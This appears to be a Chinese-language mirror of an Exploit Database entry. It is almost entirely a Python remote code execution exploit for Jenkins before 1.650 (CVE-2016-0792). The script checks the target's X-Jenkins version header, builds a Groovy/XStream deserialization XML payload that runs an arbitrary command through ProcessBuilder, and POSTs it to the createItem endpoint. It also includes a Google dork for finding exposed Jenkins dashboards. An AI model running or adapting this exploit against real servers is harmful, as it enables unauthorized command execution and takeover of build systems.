Jenkins < 1.650 - Java Deserialization

• Exploit Database
• 12 阅读

• 作者： Janusz Piechówka
  日期： 2017-07-30
• 类别：

  • remote
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/42394/

• import random
  import string
  from decimal import Decimal
  
  import requests
  from requests.exceptions import RequestException
  
  # Exploit Title: Jenkins CVE-2016-0792 Deserialization Remote Exploit
  # Google Dork: intitle: "Dashboard [Jenkins]" + "Manage Jenkins"
  # Date: 30-07-2017
  # Exploit Author: Janusz Piechówka
  # Github: https://github.com/jpiechowka/jenkins-cve-2016-0792
  # Vendor Homepage: https://jenkins.io/
  # Version: Versions before 1.650 and LTS before 1.642.2
  # Tested on: Debian
  # CVE : CVE-2016-0792
  
  
  def prepare_payload(command):
  splitCommand = command.split()
  preparedCommands = ''
  
  for entry in splitCommand:
  preparedCommands += f'<string>{entry}</string>'
  
  xml = f'''
  <map>
  <entry>
  <groovy.util.Expando>
  <expandoProperties>
  <entry>
  <string>hashCode</string>
  <org.codehaus.groovy.runtime.MethodClosure>
  <delegate class="groovy.util.Expando"/>
  <owner class="java.lang.ProcessBuilder">
  <command>{preparedCommands}</command>
  </owner>
  <method>start</method>
  </org.codehaus.groovy.runtime.MethodClosure>
  </entry>
  </expandoProperties>
  </groovy.util.Expando>
  <int>1</int>
  </entry>
  </map>'''
  
  return xml
  
  
  def exploit(url, command):
  print(f'[*] STARTING')
  try:
  print(f'[+] Trying to exploit Jenkins running at address: {url}')
  # Perform initial URL check to see if server is online and returns correct response code using HEAD request
  headResponse = requests.head(url, timeout=30)
  if headResponse.status_code == requests.codes.ok:
  print(f'[+] Server online and responding | RESPONSE: {headResponse.status_code}')
  # Check if X-Jenkins header containing version is present then proceed
  jenkinsVersionHeader = headResponse.headers.get('X-Jenkins')
  if jenkinsVersionHeader is not None:
  # Strip version after second dot from header to perform conversion to Decimal
  stripCharacter = "."
  strippedVersion = stripCharacter.join(jenkinsVersionHeader.split(stripCharacter)[:2])
  # Perform basic version check
  if Decimal(strippedVersion) < 1.650:
  print(f'[+] Jenkins version: {Decimal(strippedVersion)} | VULNERABLE')
  # Prepare payload
  payload = prepare_payload(command)
  # Prepare POST url
  randomJobName = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.digits) for _ in range(8))
  if url.endswith('/'):
  postUrl = f'{url}createItem?name={randomJobName}'
  else:
  postUrl = f'{url}/createItem?name={randomJobName}'
  print(f'[+] Will POST to {postUrl}')
  # Try to execute passed command
  postResponse = requests.post(postUrl, data=payload, headers={'Content-Type': 'application/xml'})
  print(f'[+] Exploit launched ')
  # 500 response code is ok here
  print(f'[+] Response code: {postResponse.status_code} ')
  if postResponse.status_code == 500:
  print('[+] SUCCESS')
  else:
  print('[-][ERROR] EXPLOIT LAUNCHED, BUT WRONG RESPONSE CODE RETURNED')
  else:
  print(f'[-][ERROR] Version {Decimal(strippedVersion)} is not vulnerable')
  else:
  print(f'[-][ERROR] X-Jenkins header not present, check if Jenkins is actually running at {url}')
  else:
  print(f'[-][ERROR] {url} Server did not return success response code | RESPONSE: {headResponse.status_code}')
  except RequestException as ex:
  print(f'[-] [ERROR] Request exception: {ex}')
  print('[*] FINISHED')